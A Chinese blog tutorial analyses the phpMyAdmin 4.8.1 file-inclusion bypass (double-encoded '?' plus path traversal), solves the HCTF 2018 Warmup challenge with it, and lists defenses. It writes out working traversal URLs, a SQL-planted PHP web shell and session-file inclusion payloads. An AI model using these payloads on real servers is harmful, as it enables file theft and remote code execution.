从phpMyAdmin 4.8.1漏洞到CTF实战:以HCTF Warmup为例,讲透文件包含的利用链

📅 2026/7/31 16:17:06 👁️ 阅读次数 📝 编程学习
从phpMyAdmin 4.8.1漏洞到CTF实战:以HCTF Warmup为例,讲透文件包含的利用链

从phpMyAdmin 4.8.1漏洞到CTF实战:文件包含漏洞的深度利用与防御

在Web安全领域,文件包含漏洞一直是攻击者青睐的攻击向量之一。2018年曝光的phpMyAdmin 4.8.1版本中的文件包含漏洞,因其巧妙的绕过方式和广泛的适用性,成为了安全研究人员深入研究的典型案例。本文将带您深入剖析这一漏洞的技术细节,并通过HCTF 2018 Warmup这道经典CTF赛题,展示如何将漏洞原理转化为实战解题思路。

1. phpMyAdmin 4.8.1漏洞深度解析

phpMyAdmin作为最流行的MySQL管理工具之一,其安全性直接影响着数百万数据库的安全。4.8.1版本中发现的文件包含漏洞,源于index.php文件对target参数的处理不当。

1.1 漏洞触发条件分析

index.php文件中,关键漏洞代码位于51-64行,对target参数进行了多重检查:

if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }

这段代码要求target参数必须满足五个条件:

  1. 非空值
  2. 必须是字符串类型
  3. 不能以"index"开头
  4. 不在$target_blacklist数组中(如import.php、export.php)
  5. 通过checkPageValidity()函数检查

前四个条件相对容易满足,真正的挑战在于如何绕过checkPageValidity()函数的检查。

1.2 checkPageValidity()函数绕过技巧

checkPageValidity()函数位于Core.php文件中,其核心逻辑如下:

public static function checkPageValidity(&$page) { $whitelist = ['db_datadict.php', 'sql.php', /*...其他白名单文件...*/]; if (in_array($page, $whitelist, true)) { return true; } $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $whitelist, true)) { return true; } $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $whitelist, true)) { return true; } return false; }

函数提供了三种可能的绕过路径:

  1. 直接匹配白名单$page完全匹配白名单中的文件名
  2. 问号截断$page在问号前的部分匹配白名单
  3. 双重URL解码+问号截断:对$page进行URL解码后,再执行问号截断检查

最有趣的绕过方式是利用第三种路径,通过双重URL解码实现路径穿越:

提示:由于Web服务器会自动对URL进行一次解码,而代码中又显式调用了一次urldecode(),因此"?"需要编码两次(%253f)才能正确触发漏洞。

2. 漏洞利用实战:从本地测试到远程攻击

理解了漏洞原理后,我们可以构造多种利用方式。下面通过具体案例展示漏洞的威力。

2.1 任意文件包含攻击

利用目录穿越技术,攻击者可以读取服务器上的任意文件。例如,假设服务器D盘有一个敏感文件build.txt,可以构造如下Payload:

http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../PC/PyCharm%202020.2/build.txt

这个Payload的工作原理:

  1. db_datadict.php在白名单中
  2. %253f解码两次后变为?,起到截断作用
  3. 后续的路径穿越符号../让服务器跳转到目标目录

2.2 任意代码执行攻击

更危险的是,攻击者可以利用这个漏洞执行任意PHP代码。以下是两种常见方式:

2.2.1 包含数据库文件
  1. 创建一个包含恶意代码的数据库表:
    CREATE TABLE malicious (code TEXT); INSERT INTO malicious VALUES ('<?php system($_GET["cmd"]); ?>');
  2. 查找数据库文件路径(通常为.MYD.frm文件)
  3. 构造Payload包含该文件:
    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../mysql/data/test/malicious.MYD
2.2.2 包含Session文件
  1. 在phpMyAdmin中执行包含PHP代码的查询:
    SELECT "<?php phpinfo(); ?>";
  2. 查找生成的Session文件路径(通常在/tmp目录)
  3. 构造Payload包含Session文件:
    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../tmp/sess_abc123

3. CTF实战:HCTF 2018 Warmup题解

将phpMyAdmin漏洞的利用思路应用到CTF赛题中,是检验理解深度的最佳方式。HCTF 2018的Warmup题目就是一个绝佳的实践案例。

3.1 题目初步分析

访问题目提供的URL,首先看到一个笑脸图片。查看页面源代码,发现提示:

<!-- source.php -->

访问source.php,得到以下关键代码:

<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } ?>

同时,访问hint.php得到提示:

flag not here, but flag in ffffllllaaaagggg

3.2 漏洞利用链构建

对比phpMyAdmin漏洞,我们可以发现惊人的相似之处:

  1. 都使用了白名单机制
  2. 都允许问号截断
  3. 都支持双重URL解码

因此,我们可以构造类似的Payload进行攻击:

http://target/source.php?file=hint.php%253f/../../../../../ffffllllaaaagggg

这个Payload的工作流程:

  1. hint.php在白名单中
  2. %253f解码两次变为?,实现截断
  3. 路径穿越符号../跳转到ffffllllaaaagggg文件
  4. 服务器包含并执行目标文件,返回flag内容

4. 防御措施与最佳实践

理解了攻击原理后,我们更需要知道如何防御这类漏洞。以下是几种有效的防护策略:

4.1 安全编码实践

防护措施实现方式效果评估
严格路径限制使用realpath()解析路径,禁止包含非指定目录文件★★★★★
禁用危险函数关闭allow_url_include,禁止远程文件包含★★★★☆
更新白名单机制白名单只允许完整文件名匹配,禁用截断功能★★★★☆
输入验证对用户输入进行严格过滤,禁止../等特殊字符★★★☆☆

4.2 服务器配置加固

  1. PHP配置优化

    allow_url_include = Off open_basedir = /var/www/html:/tmp
  2. 文件权限控制

    • Web应用文件:644权限,所有者root
    • 可写目录:755权限,所有者www-data
    • 敏感文件:600权限,禁止Web用户读取
  3. 日志监控

    # 监控可疑的文件包含尝试 tail -f /var/log/apache2/access.log | grep -E '(\.\./|%2e%2e/)'

在实际开发中,我曾遇到过一个案例:即使采用了白名单机制,开发者忘记禁用URL解码功能,导致攻击者仍然可以通过编码绕过。这提醒我们,安全措施必须全面考虑各种可能的绕过方式。